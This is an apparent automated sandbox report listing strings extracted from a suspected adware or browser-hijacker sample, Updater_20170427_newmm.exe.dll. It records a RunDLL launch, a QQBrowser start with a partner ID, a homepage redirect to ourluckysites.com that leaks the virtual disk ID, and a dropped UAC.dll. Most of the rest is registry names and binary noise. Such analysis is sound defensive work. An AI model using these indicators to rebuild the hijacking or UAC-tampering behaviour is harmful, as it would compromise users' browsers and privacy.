Ansi based on PCAP Processing (PCAP)
raa.qwepoii.org
Ansi based on PCAP Processing (PCAP)
rcgi.video.qq.com
Ansi based on PCAP Processing (PCAP)
-ptid=che0812 -silence
Ansi based on Process Commandline (QQBrowser.exe)
%windir%\tracing
Unicode based on Runtime Data (QQBrowser.exe )
-04 12:36:14
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
0 0$0(0,0004080<0@0D0H0
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
013 Tencent. All Rights Reserved.
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
3#3)3?3F3N3
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
4FD541E
Unicode based on Runtime Data (QQBrowser.exe )
7ayaH
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
8core
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
<.crx
Unicode based on Runtime Data (QQBrowser.exe )
<.json
Unicode based on Runtime Data (QQBrowser.exe )
<.pbk
Unicode based on Runtime Data (QQBrowser.exe )
=tp:M
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
\EpEK
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
__cfduidd352e486b4ff90bbe46dcda756c890d7f1493314632ourluckysites.com/921616073082883066222238587708830588797*
Ansi based on Runtime Data (QQBrowser.exe )
AddressFamily
Unicode based on Runtime Data (QQBrowser.exe )
AdminTabProcs
Unicode based on Runtime Data (QQBrowser.exe )
advapi32.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
AlwaysDrainOnRedirect
Unicode based on Runtime Data (QQBrowser.exe )
amemerge
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Assistant.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
ation
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
AutoConfigCustomUA
Unicode based on Runtime Data (QQBrowser.exe )
AutoConfigURL
Unicode based on Runtime Data (QQBrowser.exe )
AutodialDLL
Unicode based on Runtime Data (QQBrowser.exe )
AutoProxyDetectType
Unicode based on Runtime Data (QQBrowser.exe )
BadProxyExpiresTime
Unicode based on Runtime Data (QQBrowser.exe )
BypassHTTPNoCacheCheck
Unicode based on Runtime Data (QQBrowser.exe )
BypassSSLNoCacheCheck
Unicode based on Runtime Data (QQBrowser.exe )
CacheLimit
Unicode based on Runtime Data (QQBrowser.exe )
CacheMode
Unicode based on Runtime Data (QQBrowser.exe )
CacheOk
Unicode based on Runtime Data (QQBrowser.exe )
CacheOptions
Unicode based on Runtime Data (QQBrowser.exe )
CachePath
Unicode based on Runtime Data (QQBrowser.exe )
CachePrefix
Unicode based on Runtime Data (QQBrowser.exe )
CacheRepair
Unicode based on Runtime Data (QQBrowser.exe )
CertCacheNoValidate
Unicode based on Runtime Data (QQBrowser.exe )
CertificateRevocation
Unicode based on Runtime Data (QQBrowser.exe )
Class
Unicode based on Runtime Data (QQBrowser.exe )
ClientAuthBuiltInUI
Unicode based on Runtime Data (QQBrowser.exe )
CommandLineToArgvW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Comments
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
Compatible
Unicode based on Runtime Data (QQBrowser.exe )
ConnectRetries
Unicode based on Runtime Data (QQBrowser.exe )
ConnectTimeOut
Unicode based on Runtime Data (QQBrowser.exe )
ConsoleTracingMask
Unicode based on Runtime Data (QQBrowser.exe )
d:\beyond_buildbot\branch_slave\svn_dir\build\bin\pdb\Release\QQBrowser.pdb
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
datareportfile
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
DefaultAccessPermission
Unicode based on Runtime Data (QQBrowser.exe )
DefaultBrowserServer
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
DefaultConnectionSettings
Unicode based on Runtime Data (QQBrowser.exe )
DialupUseLanSettings
Unicode based on Runtime Data (QQBrowser.exe )
DisableBasicOverClearChannel
Unicode based on Runtime Data (QQBrowser.exe )
DisableBranchCache
Unicode based on Runtime Data (QQBrowser.exe )
DisableCachingOfSSLPages
Unicode based on Runtime Data (QQBrowser.exe )
DisableKeepAlive
Unicode based on Runtime Data (QQBrowser.exe )
DisableNTLMPreAuth
Unicode based on Runtime Data (QQBrowser.exe )
DisablePassport
Unicode based on Runtime Data (QQBrowser.exe )
DisableReadRange
Unicode based on Runtime Data (QQBrowser.exe )
DisableWorkerThreadHibernation
Unicode based on Runtime Data (QQBrowser.exe )
DisplayScriptDownloadFailureUI
Unicode based on Runtime Data (QQBrowser.exe )
DisplayString
Unicode based on Runtime Data (QQBrowser.exe )
DllFile
Unicode based on Runtime Data (QQBrowser.exe )
DnsCacheEnabled
Unicode based on Runtime Data (QQBrowser.exe )
DnsCacheEntries
Unicode based on Runtime Data (QQBrowser.exe )
DnsCacheTimeout
Unicode based on Runtime Data (QQBrowser.exe )
DontUseDNSLoadBalancing
Unicode based on Runtime Data (QQBrowser.exe )
ection
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
ed20.dll
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
el32.dll
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
EnableAutodial
Unicode based on Runtime Data (QQBrowser.exe )
EnableAutoProxyResultCache
Unicode based on Runtime Data (QQBrowser.exe )
EnableConsoleTracing
Unicode based on Runtime Data (QQBrowser.exe )
EnableFileTracing
Unicode based on Runtime Data (QQBrowser.exe )
EnableHttp1_1
Unicode based on Runtime Data (QQBrowser.exe )
EnableHttpTrace
Unicode based on Runtime Data (QQBrowser.exe )
EnableIE8Core
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
EnableNegotiate
Unicode based on Runtime Data (QQBrowser.exe )
EnableTrace
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
EnableUTF8
Unicode based on Runtime Data (QQBrowser.exe )
encent Inc.
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
erModeExceptionPolicy
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
EventRegister
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
EventUnregister
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
EventWrite
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Export
Unicode based on Runtime Data (QQBrowser.exe )
Extension
Unicode based on Runtime Data (QQBrowser.exe )
Feature_ClientAuthCertFilter
Unicode based on Runtime Data (QQBrowser.exe )
FileDirectory
Unicode based on Runtime Data (QQBrowser.exe )
FileExtensions
Unicode based on Runtime Data (QQBrowser.exe )
FileTracingMask
Unicode based on Runtime Data (QQBrowser.exe )
FileVersion
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
FrameMerging
Unicode based on Runtime Data (QQBrowser.exe )
FrameTabWindow
Unicode based on Runtime Data (QQBrowser.exe )
FromCacheTimeout
Unicode based on Runtime Data (QQBrowser.exe )
FtpDefaultExpiryTimeSecs
Unicode based on Runtime Data (QQBrowser.exe )
GetProcessTimes
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetProcessUserModeExceptionPolicy
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
GetSystemDirectoryW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetTraceEnableFlags
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetTraceEnableLevel
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetTraceLoggerHandle
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetVersionExW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GlobalSession
Unicode based on Runtime Data (QQBrowser.exe )
GlobalUserOffline
Unicode based on Runtime Data (QQBrowser.exe )
g|uO!|u
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
HeaderExclusionListForCache
Unicode based on Runtime Data (QQBrowser.exe )
HeapSetInformation
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
HelperDllName
Unicode based on Runtime Data (QQBrowser.exe )
History
Unicode based on Runtime Data (QQBrowser.exe )
Hostname
Unicode based on Runtime Data (QQBrowser.exe )
http://www.ourluckysites.com/?type=hp&ts=1493314713&z=4efc9b754986ee2f2a87012g2zbt4c1c6g6z7q2c8o&from=che0812&uid=VBOXXHARDDISK_VB47a275fd-833fcbff
Ansi based on Runtime Data (QQBrowser.exe )
HttpDefaultExpiryTimeSecs
Unicode based on Runtime Data (QQBrowser.exe )
identCore.dll
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
IdnEnabled
Unicode based on Runtime Data (QQBrowser.exe )
IE8CoreInstalled
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
IETldDllVersionHigh
Unicode based on Runtime Data (QQBrowser.exe )
IETldDllVersionLow
Unicode based on Runtime Data (QQBrowser.exe )
IETldVersionHigh
Unicode based on Runtime Data (QQBrowser.exe )
IETldVersionLow
Unicode based on Runtime Data (QQBrowser.exe )
InternalName
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
IsImmersiveProcess
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
ister
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
IsTextPlainHonored
Unicode based on Runtime Data (QQBrowser.exe )
IwnV3zZ
Unicode based on Runtime Data (QQBrowser.exe )
KeepAliveTimeout
Unicode based on Runtime Data (QQBrowser.exe )
LeashLegacyCookies
Unicode based on Runtime Data (QQBrowser.exe )
LegalCopyright
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
leIE8Core
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LibraryPath
Unicode based on Runtime Data (QQBrowser.exe )
licitAppUserModelID
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Local
Unicode based on Runtime Data (QQBrowser.exe )
Local AppData
Unicode based on Runtime Data (QQBrowser.exe )
LocalAlloc
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LocalFree
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
lstrcmpiW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
MachineThrottling
Unicode based on Runtime Data (QQBrowser.exe )
Mapping
Unicode based on Runtime Data (QQBrowser.exe )
MaxConnectionsPer1_0Server
Unicode based on Runtime Data (QQBrowser.exe )
MaxConnectionsPerProxy
Unicode based on Runtime Data (QQBrowser.exe )
MaxConnectionsPerServer
Unicode based on Runtime Data (QQBrowser.exe )
MaxHttpRedirects
Unicode based on Runtime Data (QQBrowser.exe )
MaximumAllowedAllocationSize
Unicode based on Runtime Data (QQBrowser.exe )
MaxSockaddrLength
Unicode based on Runtime Data (QQBrowser.exe )
MBCSAPIforCrack
Unicode based on Runtime Data (QQBrowser.exe )
MBCSServername
Unicode based on Runtime Data (QQBrowser.exe )
MigrateProxy
Unicode based on Runtime Data (QQBrowser.exe )
MimeExclusionListForCache
Unicode based on Runtime Data (QQBrowser.exe )
MinSockaddrLength
Unicode based on Runtime Data (QQBrowser.exe )
module
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
NameSpace_Callout
Unicode based on Runtime Data (QQBrowser.exe )
NdrOleExtDLL
Unicode based on Runtime Data (QQBrowser.exe )
Network
Unicode based on Runtime Data (QQBrowser.exe )
NetWork.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Next_Catalog_Entry_ID
Unicode based on Runtime Data (QQBrowser.exe )
ngleprocess
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
NoCheckAutodialOverRide
Unicode based on Runtime Data (QQBrowser.exe )
NoNetAutodial
Unicode based on Runtime Data (QQBrowser.exe )
nstalled
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Num_Catalog_Entries
Unicode based on Runtime Data (QQBrowser.exe )
owserModuleEntry
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
PackedCatalogItem
Unicode based on Runtime Data (QQBrowser.exe )
PathCombineW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
PathFindFileNameW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
PerUserCookies
Unicode based on Runtime Data (QQBrowser.exe )
PerUserItem
Unicode based on Runtime Data (QQBrowser.exe )
Platform
Unicode based on Runtime Data (QQBrowser.exe )
ProductName
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
ProductVersion
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
ProgramData
Unicode based on Runtime Data (QQBrowser.exe )
ProviderId
Unicode based on Runtime Data (QQBrowser.exe )
ProviderInfo
Unicode based on Runtime Data (QQBrowser.exe )
ProxyEnable
Unicode based on Runtime Data (QQBrowser.exe )
ProxyHttp1.1
Unicode based on Runtime Data (QQBrowser.exe )
ProxyOverride
Unicode based on Runtime Data (QQBrowser.exe )
ProxyServer
Unicode based on Runtime Data (QQBrowser.exe )
ProxySettingsPerUser
Unicode based on Runtime Data (QQBrowser.exe )
QBUtils.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
QQBrowserFrame.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
QQBrowserModuleEntry
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
RaiseDefaultAuthnLevel
Unicode based on Runtime Data (QQBrowser.exe )
rasphone.pbk
Unicode based on Runtime Data (QQBrowser.exe )
RE\Microsoft\Internet Explorer
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
ReceiveTimeOut
Unicode based on Runtime Data (QQBrowser.exe )
REG_SZ
Unicode based on Runtime Data (QQBrowser.exe )
RegisterTraceGuidsW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
RemoteRpcDll
Unicode based on Runtime Data (QQBrowser.exe )
riched20.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Roaming
Unicode based on Runtime Data (QQBrowser.exe )
rocess
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
rowserCheck
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
rverName
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
SavedLegacySettings
Unicode based on Runtime Data (QQBrowser.exe )
ScavengeCacheFileLifeTime
Unicode based on Runtime Data (QQBrowser.exe )
ScavengeCacheFileLimit
Unicode based on Runtime Data (QQBrowser.exe )
ScavengeCacheLowerBound
Unicode based on Runtime Data (QQBrowser.exe )
scription
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
SecureProtocols
Unicode based on Runtime Data (QQBrowser.exe )
SendExtraCRLF
Unicode based on Runtime Data (QQBrowser.exe )
SendTimeOut
Unicode based on Runtime Data (QQBrowser.exe )
Serial_Access_Num
Unicode based on Runtime Data (QQBrowser.exe )
ServerInfoTimeout
Unicode based on Runtime Data (QQBrowser.exe )
Session-4BA0B957-882B-4625-A213-0349B865E6AA
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SessionMerging
Unicode based on Runtime Data (QQBrowser.exe )
SessionStartTimeDefaultDeltaSecs
Unicode based on Runtime Data (QQBrowser.exe )
SetCurrentProcessExplicitAppUserModelID
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SetDllDirectoryW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
SetProcessUserModeExceptionPolicy
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
ShareCredsWithWinHttp
Unicode based on Runtime Data (QQBrowser.exe )
shell32.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SHGetFolderPathW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Signature
Unicode based on Runtime Data (QQBrowser.exe )
SocketReceiveBufferLength
Unicode based on Runtime Data (QQBrowser.exe )
SocketSendBufferLength
Unicode based on Runtime Data (QQBrowser.exe )
SOFTWARE\Microsoft\Internet Explorer
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Software\Tencent\QQBrowser\Advanced
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
"C:\Updater_20170427_newmm.exe.dll"
Ansi based on Process Commandline (RunDLL)
-AZ-Cyrl
Unicode based on Dropped File (UAC.dll.626400535)
-UZ-Latn
Unicode based on Dropped File (UAC.dll.626400535)
Admin
Unicode based on Dropped File (UAC.dll.626400535)
ar-IQ
Unicode based on Dropped File (UAC.dll.626400535)
ar-SA
Unicode based on Dropped File (UAC.dll.626400535)
Behavior
Unicode based on Dropped File (UAC.dll.626400535)
bn-IN
Unicode based on Dropped File (UAC.dll.626400535)
ca-ES
Unicode based on Dropped File (UAC.dll.626400535)
CC.dll
Ansi based on Dropped File (UAC.dll.626400535)
cies\
Unicode based on Dropped File (UAC.dll.626400535)
Consent
Unicode based on Dropped File (UAC.dll.626400535)
cs-CZ
Unicode based on Dropped File (UAC.dll.626400535)
cy-GB
Unicode based on Dropped File (UAC.dll.626400535)
de-CH
Unicode based on Dropped File (UAC.dll.626400535)
de-DE
Unicode based on Dropped File (UAC.dll.626400535)
div-MV
Unicode based on Dropped File (UAC.dll.626400535)
E:\code\UAC\UAC_CODE\Release\CC.pdb
Ansi based on Dropped File (UAC.dll.626400535)
es-MX
Unicode based on Dropped File (UAC.dll.626400535)
et-EE
Unicode based on Dropped File (UAC.dll.626400535)
exception
Ansi based on Dropped File (UAC.dll.626400535)
fr-FR
Unicode based on Dropped File (UAC.dll.626400535)
gu-IN
Unicode based on Dropped File (UAC.dll.626400535)
hu-HU
Unicode based on Dropped File (UAC.dll.626400535)
id-ID
Unicode based on Dropped File (UAC.dll.626400535)
it-CH
Unicode based on Dropped File (UAC.dll.626400535)
it-IT
Unicode based on Dropped File (UAC.dll.626400535)
kok-IN
Unicode based on Dropped File (UAC.dll.626400535)
lt-LT
Unicode based on Dropped File (UAC.dll.626400535)
ml-IN
Unicode based on Dropped File (UAC.dll.626400535)
ms-BN
Unicode based on Dropped File (UAC.dll.626400535)
nb-NO
Unicode based on Dropped File (UAC.dll.626400535)
nn-NO
Unicode based on Dropped File (UAC.dll.626400535)
ns-ZA
Unicode based on Dropped File (UAC.dll.626400535)
on not supported
Ansi based on Dropped File (UAC.dll.626400535)
otocol error
Ansi based on Dropped File (UAC.dll.626400535)
Prompt
Unicode based on Dropped File (UAC.dll.626400535)
pt-BR
Unicode based on Dropped File (UAC.dll.626400535)
ru-RU
Unicode based on Dropped File (UAC.dll.626400535)
sa-IN
Unicode based on Dropped File (UAC.dll.626400535)
sk-SK
Unicode based on Dropped File (UAC.dll.626400535)
SleepEx
Ansi based on Dropped File (UAC.dll.626400535)
SOFTWARE\Microsoft\
Unicode based on Dropped File (UAC.dll.626400535)
%9Pw*qb]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5xa[IInq$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6P+i( m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
977h#~Pz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=8u~_|_h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h\uSfbEKh+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
il;iTdE5W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
imG9)=v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
|aQ;&/J
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%JxI?v]O6-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
- not enough space for thread data
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0!<)W@>y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5in\:?H/kh^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<:JNMZfnw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=\V}f\7Yo2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?*z=/?Zi
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`{C3>ZP:3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KV)^EhOOcu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LqEc_rp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LXZ|&sX)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
MONz7wb0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Z S'Yuu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(fG[D%S3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
121412`~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
32=3Jwx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9u<1DN2z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
>b5qWt+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
D+HS@'8\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Rh<1)^h4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S5Jxht3(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
tuw<P]Ct
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ve6wM[+A/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
XAr<+B@c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
z-tzc h6h/R$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
((((( H
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"%s%s",%s
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&7Mdwc`S3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+ H/zO)^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0,040T0x0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
3<123pPFRvPAV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5"N~1-7{OV{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;]n7=e$jZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
>6ZNB+E{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Base Class Array'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Base Class Descriptor at (
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Class Hierarchy Descriptor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Complete Object Locator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
delete
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
delete[]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eD6aqQM'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
enough space for _onexit/atexit table
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
for detail.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
inflate 1.1.3 Copyright 1995-1998 Mark Adler
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
new[]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p4z>CsF64
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P`@Gs8!fcgp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q$*$wX`"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
tobago
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Type Descriptor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
unzip 0.15 Copyright 1998 Gilles Vollant
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Z7Z0|7Z6|1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!-Z<tO@![
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!338$239N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!]_%(r(@hs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!^!*d:T^a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!_c2hpL<?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!ET_@}zR8#
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!O8cN^z(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!Q%bqD{$/X
